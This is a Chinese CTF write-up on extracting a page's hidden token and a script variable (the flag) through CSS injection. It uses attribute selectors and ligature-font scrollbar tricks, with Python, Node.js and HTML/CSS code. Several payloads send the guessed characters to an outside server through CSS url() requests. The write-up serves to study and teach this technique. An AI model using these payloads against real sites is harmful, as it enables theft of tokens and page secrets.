0x01 题目描述

这次题目主要是通过css注入提取script里一个变量的值,即flag

我们举个例子,先贴出代码。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Document</title>
</head>
<body>
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
?>
<input type=hidden value=<?=$token1 ?>>
<script>var TOKEN = 'xctf{dobra_robota_jestes_mistrzem_CSS}';</script><style>true<?=preg_replace('#</style#i', '#', $_GET['css']) ?></style>
</body>
</html>

我们今天分为两个内容

提取input中value
提取script里面的变量TOKEN

0x02 题目分析

提取inputvalue其实比较简单,直接贴出payload

import string
from selenium import webdriver
browser = webdriver.Chrome()
flag = ''
s = string.digits+string.ascii_letters+'{'+'}'+'_'
for i in s:flag += iurl = 'http://127.0.0.1/cssgame/?css=input[value^=%%22%s%%22]%%20{%%20background:url(http://xxx.xxx.xxx.xxx:8885/%s);}' %(flag, flag)flag=flag[:-1]browser.get(str(url))

通过匹配css选择input,这里%%22代表",这儿使用两个%%,是为了防止被格式化
然后使用webdriver.Chrome(),自动渲染css,访问自己vps

提取script里面的值比较困难,我们这儿的思路是,使用连体字。
我们先介绍一下连体字

简而言之,字体中的连字是至少两个具有图形表示形式的字符的序列。最常见的连字可能是”fi”序列。在下面的图片中,我们可以很清晰地看到”f”与”i”;而在第二行中,我们对这两个字母的顺序使用了不同的字体表示-字母”f”的顶部连接到”i”上方的点。这里我们应该将连字与字距区别开来:字距调整仅确定字体中字母之间的距离,而连字是给定字符序列的完全独立的字形(图形符号
我们可以借助 fontforge 来生成我们需要的连字,因为现代浏览器已经不支持 SVG 格式的字体了,我们可以利用 fontforge 将 SVG 格式转换成 WOFF 格式,我们可以准备一个名为 script.fontforge 的文件,内容如下:

#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")

我们可以用`fontforge script.fontforge .svg`这个命令来生成 `woff` 文件,下面这段 `svg` 代码定义了一种名叫 `hack` 的字体,包括 a-z 26 个0宽度的字母,以及 `sekurak` 这个宽度为8000的连字。

<svg><defs><font id="hack" horiz-adv-x="0"><font-face font-family="hack" units-per-em="1000" /><missing-glyph /><glyph unicode="a" horiz-adv-x="0" d="M1 0z"/><glyph unicode="b" horiz-adv-x="0" d="M1 0z"/><glyph unicode="c" horiz-adv-x="0" d="M1 0z"/><glyph unicode="d" horiz-adv-x="0" d="M1 0z"/><glyph unicode="e" horiz-adv-x="0" d="M1 0z"/><glyph unicode="f" horiz-adv-x="0" d="M1 0z"/><glyph unicode="g" horiz-adv-x="0" d="M1 0z"/><glyph unicode="h" horiz-adv-x="0" d="M1 0z"/><glyph unicode="i" horiz-adv-x="0" d="M1 0z"/><glyph unicode="j" horiz-adv-x="0" d="M1 0z"/><glyph unicode="k" horiz-adv-x="0" d="M1 0z"/><glyph unicode="l" horiz-adv-x="0" d="M1 0z"/><glyph unicode="m" horiz-adv-x="0" d="M1 0z"/><glyph unicode="n" horiz-adv-x="0" d="M1 0z"/><glyph unicode="o" horiz-adv-x="0" d="M1 0z"/><glyph unicode="p" horiz-adv-x="0" d="M1 0z"/><glyph unicode="q" horiz-adv-x="0" d="M1 0z"/><glyph unicode="r" horiz-adv-x="0" d="M1 0z"/><glyph unicode="s" horiz-adv-x="0" d="M1 0z"/><glyph unicode="t" horiz-adv-x="0" d="M1 0z"/><glyph unicode="u" horiz-adv-x="0" d="M1 0z"/><glyph unicode="v" horiz-adv-x="0" d="M1 0z"/><glyph unicode="w" horiz-adv-x="0" d="M1 0z"/><glyph unicode="x" horiz-adv-x="0" d="M1 0z"/><glyph unicode="y" horiz-adv-x="0" d="M1 0z"/><glyph unicode="z" horiz-adv-x="0" d="M1 0z"/><glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/></font></defs>
</svg>

这儿sekurak就代表一个连体字,虽然有很由很多字母组成,但html就认为这是一个字

这儿贴出一个node.js代码,主要是作用是一个生成连体字woff文件的api接口

const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');const PORT = 3001;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {let font = {"defs": {"font": {"@": {"id": "hack","horiz-adv-x": "0"},"font-face": {"@": {"font-family": "hack","units-per-em": "1000"}},"glyph": []}}};// Domyślnie wszystkie możliwe znaki mają zerową szerokość...let glyphs = font.defs.font.glyph;for (let c = 0x20; c <= 0x7e; c += 1) {const glyph = {"@": {"unicode": String.fromCharCode(c),"horiz-adv-x": "0","d": "M1 0z",}};glyphs.push(glyph);}// ... za wyjątkiem ligatur, które są BARDZO szerokie.charsToLigature.forEach(c => {const glyph = {"@": {"unicode": prefix + c,"horiz-adv-x": "10000","d": "M1 0z",}}glyphs.push(glyph);});// Konwertujemy JSON-a na SVG.const xml = js2xmlparser.parse("svg", font);// A następnie wykorzystujemy fontforge// do zamiany SVG na WOFF.const tmpobj = tmp.dirSync();fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);child_process.spawnSync("/usr/bin/fontforge", [`${__dirname}/script.fontforge`,`${tmpobj.name}/font.svg`]);const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);// Usuwamy katalog tymczasowy.rimraf.sync(tmpobj.name);// I zwracamy fonta w postaci WOFF.return woff;
}// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {const { prefix, charsToLigature } = req.params;// Dbamy o to by font znalazł się w cache'u.res.set({'Cache-Control': 'public, max-age=600','Content-Type': 'application/font-woff','Access-Control-Allow-Origin': '*',});res.send(createFont(prefix, Array.from(charsToLigature)));});// Endpoint do przyjmowania znaków przez połączenie zwrotne
app.get("/reverse/:chars", function(req, res) {res.cookie('chars', req.params.chars);res.set('Set-Cookie', `chars=${encodeURIComponent(req.params.chars)}; Path=/`);res.send();
});app.get('/cookie.js', (req, res) => {
trueres.sendFile('js.cookie.js', {
truetrueroot: './node_modules/js-cookie/src/'
true});
});app.get('/index.html', (req, res) => {
trueres.sendFile('index.html', {
truetrueroot: '.'
true});
});app.listen(PORT, () => {
trueconsole.log(`Listening on${PORT}...`);
})

这个必须在linux上运行,好像fontgorge的命令模式只有linux上有,假如我们在Linux上运行,接着我们访问http://xxx.xxx.xxx.xxx:23460/font/prefix/c就能够生成一个连体字文件.
假如我们访问/font/xctf{/abc就会生成xctf{axctf{bxctf{c的连体字,其余字的宽度都为0。
接着我们就注入css

<style>@font-face {font-family: "hack";src: url(http://172.16.71.138:3001/font/xctf{/x);   #连体字的生成api}script {display: table;                             #使得script标签里面的内容能够显示出来font-family: "hack";white-space: nowrap;background: lightblue;}body::-webkit-scrollbar {background: blue;}body::-webkit-scrollbar:horizontal {display:block;background: blue url(http://xxx.xxx.xxx.xxx:9999);      #当出现滚动条时访问vps}</style>

贴出payload

<script>//const chars = ['t','f']const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('')let ff = [],data = ''let prefix = 'xctf{'chars.forEach(c => {var css = ''css = '=../../../../\fa{}){}'css +=`body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://172.16.71.138:9999/?${encodeURIComponent(prefix+c)})}`css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://172.16.71.138:23460/font/${prefix}/${c});}`css += `script{font-family:a${c.charCodeAt()};display:block}`document.write('<iframe scrolling=yes samesite src="http://127.0.0.1/index.php?css=' +encodeURIComponent(css) +'" style="width:1000000px" οnlοad="event.target.style.width=\'100px\'"></iframe>')})</script>

推荐使用谷歌浏览器,并且关闭同源策略
嗯~~这儿的wp就不写很详细了,仔细看看代码应该可以理解,最近比较忙
这儿再贴出几个参考地址,希望能够好好理解一下
其他writeup
连体字生成的代码参考地址(波兰语)

XCTF final noxss相关推荐

  1. kss admin index.php,XCTF Final 2018 Web Writeup (Bestphp与PUBG详解)

    WEB1--Bestphp 这道题提供index.php源码 index.php highlight_file(__FILE__); error_reporting(0); ini_set('open ...

  2. 第七届XCTF国际网络攻防联赛总决赛战队巡礼!

    Super Guesser国际联合战队创建于2020年,成立伊始便在HITCON.SECCON.Dragon CTF等大型国际CTF赛事中大放异彩,接连斩获赛事冠军.2021年,Super Guess ...

  3. “饶派杯”XCTF车联网安全挑战赛战队巡礼!

    2023年5月31日,"饶派杯" XCTF车联网安全挑战赛将于江西省上饶市重磅开赛.本届大赛由江西省委网信办.江西省工信厅.上饶市人民政府主办,旨在深入贯彻落实国家网络强国和交通强 ...

  4. Nepnep战队:哪有什么一战成名,其实都是百炼成钢

    ​​11月15日9:00,第七届XCTF国际网络攻防联赛分站赛L3HCTF 2021圆满落幕.Nepnep战队横空出世.问鼎冠军,出现在众人视野. 一支成立两年的新兴战队,是如何快速走到今天的?好奇心 ...

  5. css 注入,CSS injection 知识总结

    现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() . expression() 中执行Javascript代码从而实现XSS.但 ...

  6. 第五届“强网”拟态防御国际精英挑战赛——预选赛入围战队篇

    ​​第五届"强网"拟态防御国际精英挑战赛即将隆重开赛!本届大赛汇集国内外60支精英战队,参赛阵容.数量再创新高. 本届大赛共设置两种入围模式: 1.特邀模式 邀请15支国外知名战队 ...

  7. [XCTF] mobile easy-apk

    直奔入口MainActivity.java,看一下onClick后干了啥 if(Base64Encode(inputVal.getBytes()).equals("5rFf7E2K6rqN7 ...

  8. public static final int REMIN_REQUEST_CODE = 0x911 自己的大致理解

    public static final int REMIN_REQUEST_CODE = 0x911; 自己理解为 一个静态常量,也就一个标识,自己目前主要在2个地方常用到 OnActivityRes ...

  9. java内部类的权限符,static介绍、内部类、final、权限修饰符的作用范围,

    static介绍.内部类.final.权限修饰符的作用范围,static 关键字:(可用于修饰方法.变量) static 特点: static是静态修饰符,一般修饰成员变量.被static修饰的属于全 ...

最新文章

  1. MongoDB副本集
  2. swift编写命令行工具
  3. HttpURLConnection与 HttpClient 区别/性能测试对比
  4. python 加密解密_python加密解密
  5. serialize-and-deserialize-bst
  6. redis 自增_坏了,Redis的字符串类型竟然被张三学明白了?
  7. 【转】Sobel 算子
  8. mongovue mysql_MongoDB 客户端 MongoVue(转)
  9. Tableau 中国最美八条骑行线路(二)海拔和气温
  10. 好看的小武与hs文件的偶遇
  11. 用c语言对文件进行加密
  12. matlab 清浊音判断+源代码
  13. java jsoup jar包_jsoup jar包
  14. jsp开发中cannot resolve taglib with uri的解决方法
  15. Windows-DB2 9.7安装图解
  16. 真正的手机密码大全!(整理完整版) 1
  17. 中石油子公司复牌 回购溢价推动上涨
  18. 联想在bios中怎么设置U盘启动
  19. indesign2019怎么存低版本,InDesign CC2019下载+详细安装教程(附安装包)
  20. 文件夹隐藏属性项灰色(无法更改)解决办法

热门文章

  1. 大数据技术之电商推荐系统(6) | 基于LFM的离线推荐模块
  2. C++函数模板与类模板的区别
  3. 启动模式,BOOT0和BOOT1详解
  4. 还我一个干净的Mac OS(如何彻底删除不需要的App)
  5. ubuntu20安装gcc_Ubuntu:软件常用安装方法(附WPS安装)
  6. 水库大坝实时安全监测特点分析
  7. u盘文件删去了怎么样找得回来
  8. webstorm html代码提示设置,Webstorm设置代码提示
  9. CEP的一个简单理解
  10. 金融核心业务流程整理